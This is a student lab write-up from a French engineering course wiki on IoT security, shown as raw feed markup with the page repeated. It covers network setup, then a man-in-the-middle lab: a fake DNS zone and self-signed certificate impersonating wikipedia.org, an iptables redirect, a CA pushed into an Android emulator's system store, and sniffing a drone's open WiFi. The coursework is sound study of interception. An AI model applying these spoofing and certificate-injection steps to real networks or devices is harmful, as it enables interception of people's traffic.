&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification :&lt;br /&gt;
&lt;br /&gt;
iwconfig&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ping 192.168.1.1&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11166</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11166"/>
		<updated>2026-01-13T13:45:35Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
